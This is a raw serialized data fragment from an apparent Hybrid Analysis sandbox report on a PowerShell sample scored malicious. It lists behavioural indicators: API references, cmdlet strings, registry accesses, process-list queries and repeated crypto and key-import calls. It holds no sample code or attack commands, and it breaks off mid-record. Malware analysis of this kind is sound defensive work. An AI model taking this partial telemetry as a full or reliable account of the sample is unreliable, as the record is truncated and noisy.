24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 6c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T459,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Sample af31eb0fe9cf… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample af31eb0fe9cf…. Threat score 100/100. 0/26 AV engines flagged this file. 9 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/af31eb0fe9cf32ca91f3a5860b2dc6d403d821882e3e4fd14d18e7e704735b42","keywords":["Malicious","malware analysis","sandbox report","threat intelligence","af31eb0fe9cf32ca91f3a5860b2dc6d403d821882e3e4fd14d18e7e704735b42"],"about":{"@type":"SoftwareApplication","name":"af31eb0fe9cf32ca91f3a5860b2dc6d403d821882e3e4fd14d18e7e704735b42.bin","applicationCategory":["powershell","ps"],"identifier":"af31eb0fe9cf32ca91f3a5860b2dc6d403d821882e3e4fd14d18e7e704735b42","additionalType":"Malicious sample"},"threatScore":100,"antivirusDetections":{"malicious":0,"total":26},"behavioralIndicators":{"malicious":9,"suspicious":17},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T438,Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00002344.00000001.147976.00E01000.00000002.mdmp, 00000000-00002344.00000001.147976.6F7C5000.00000002.mdmp, 00000000-00002344.00000002.149897.6F1F1000.00000002.mdmp, 00000000-00002344.00000003.153126.09C20000.00000004.mdmp, 00000000-00002344.00000003.153126.09CBC000.00000002.mdmp")26:T73f,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00002344.00000000.146055.04A50000.00000004.mdmp") Found string "# Format-Hex cmdlet helps in displaying the Hexadecimal equivalent of the input data." (Indicator: "Format-Hex"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp") Found string "function Format-Hex" (Indicator: "Format-Hex"; Source: "00000000-00002344.00000001.147976.08BF0000.00000004.mdmp, 00000000-00002344.00000002.149897.08BF0000.00000004.mdmp, 00000000-00002344.00000003.153126.08BF0000.00000004.mdmp")27:T75d,"powershell.exe" (Access type: "OPEN"; Path: "HKCU\LOCAL SETTINGS\SOFTWARE\MICROSOFT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\TRACING") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\DISPLAY") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\POWERSHELL.EXE") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION") "powershell.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION") "powershell.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED")28:Ta19,"powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1265396451 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1265404971 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1266354675 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1266363809 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1268846751 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1268855861 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1269048840 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1269057566 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1269703001 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1271033841 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1271043368 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1271688008 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00000796-00000C15-1271696760 [PID: 796] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1275440296 [PID: 2344] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1275449316 [PID: 2344] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1276779659 [PID: 2344] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1276788611 [PID: 2344] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1278050258 [PID: 2344] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1278060755 [PID: 2344] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1278545261 [PID: 2344] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1278552866 [PID: 2344] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1278780930 [PID: 2344] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1278794734 [PID: 2344] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1280041928 [PID: 2344] "powershell.exe" queried SystemProcessInformation at 00000000-00002344-00000C15-1281132645 [PID: 2344]29:Taf7,"powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "b04d8af1d1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "b03d8af1d1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "b04a8af1d1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "601740f4d1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`'@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`2@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`<@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`+@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`F@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`/@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`(@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`)@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`>@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`D@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`0@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "601e40f4d1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`*@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "601940f4d1010000" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextA" with parameters {"phProv": "`&@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "`O@" "dwProvType": "1" "dwFlags": "4026531840"} "powershell.exe" called "CryptAcquireContextW" with parameters {"phProv": "601640f4d1010000" "szProvider": "Microsoft Enhanced RSA and AES Cryptographic Provider" "dwProvType": "24" "dwFlags": "4026531840"}2a:T12ec,"powershell.exe" called "CryptStringToBinaryA" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNRAgEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUvSVTZwxcxUqDUoxiH97RfI559SygghV6MIIEuzCCA6OgAwIBAgITMwAAAF3JyvZpIzdoUAAAAAAAXTANBgkqhk" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"} "powershell.exe" called "CryptStringToBinaryW" with parameters {"pszString": "MIIatwYJKoZIhvcNAQcCoIIaqDCCGqQCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQBgjcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR" "cchString": "9410" "dwFlags": "1" "pbBinary": "30821ab706092a864886f70d010702a0821aa830821aa4020101310b300906052b0e03021a05003069060a2b060104018237020104a05b30593034060a2b06010401823702011e3026020301000004101fcc3b60594b084eb724d2c6297ef3510201000201000201000201000201003021300906052b0e03021a05000414bd2553670c5cc54a83528c621fded17c8e79f52ca082157a308204bb308203a3a0030201020213330000005dc9caf6692337685000000000005d300d06092a864886f70d01010505003077310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f66742054696d652d5374616d7020504341301e170d3134303532333137313331375a170d3135303832333137313331375a3081ab310b3009060355040613025553310b30090603550408130257413110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e310d300b060355040b13044d4f505231273025060355040b131e6e436970686572204453452045534e3a374432452d333738322d42304637312530230603550403131c4d6963726f736f66742054696d652d5374616d70205365727669636530820122300d06092a864886f70d01010105000382010f003082010a0282010100abba7a2faf541f74f40d73b2e00b8558ecababbf4700fe8d3731f21c933ea6bace1be6514068d48018d758635d033736fb835870dec43336b05f077f7dfdf758ab5a976e45ceb8f11b3d52cfa53d05439ba0b13472d3eff331bc2e688e2a350b2e74b0efe42b557265958f67f4a3c8ef0311a7dc0b3ca16c0eff618c4292e456c391b18ff6aed7c1e3e8a81901a21760bf43987a2a5a6a34c8920d3fe05c1db77fb05a1dbdcc6c6a11431e020d5b42e96d4b630b39fb52a3ec7a26d2a2304763d2f8ea15d8692e9e26e94e4f1cb3d2e260263f6e5d9214905e346d78047c52519b0b0176eb41005953cedb8dd649856c823b7ec4e98746b2393cf15ed86f72ff0203010001a382010930820105301d0603551d0e04160414d754e615d9d35dca24d50118f07864997b684c33301f0603551d230418301680142334f8d95246700aed40fb76fbb32bb0c335b30f30540603551d1f044d304b3049a047a0458643687474703a2f2f63726c2e6d6963726f736f66742e636f6d2f706b692f63726c2f70726f64756374732f4d6963726f736f667454696d655374616d705043412e63726c305806082b06010505070101044c304a304806082b06010505073002863c687474703a2f2f7777772e6d6963726f" "pcbBinary": "bb1a0000" "pdwFlags": "01000000"}2b:T10eb,"powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e04a90f1d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "004c90f1d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c065e3f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "@d" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "9065e3f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "c06886f1d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "0076e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "8083e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "0088e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "1081e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "0082e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "7087e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d081e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "b089e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e080e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "8080e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "e086e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "6082e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "d087e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f189ca80" "pszBlobType": "RSAPUBLICBLOB" "phKey": "1084e5f3d1010000" "pbInput": "RSA1" "cbInput": "163" "dwFlags": "0"} "powershell.exe" called "BCryptImportKeyPair" with parameters {"hAlgorithm": "1d1f3e40ef0" "pszBlobType": "RSAPUBLICBLOB" "phKey": "10a3e5f3d1010000" "pbInput": "RSA1" "cbInput": "283" "dwFlags": "0"}2c:T2714,"powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "301890f1d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "301f90f1d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a01f90f1d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "d02190f1d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a01890f1d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a3db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a050e4f3d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a3db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "PO"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a3db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "a057e4f3d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "["} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "0P"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "0W"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "1051e4f3d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "9054e4f3d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": "148" "dwFlags": "0" "phKey": "c056e4f3d1010000"} "powershell.exe" called "CryptImportKey" with parameters {"hProv": "1d1f18a4db0" "pbData": "0602000000240000525341310004000001000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f45def46b2a2b1247adc3652bf5c308055da9" "dwDataLen": 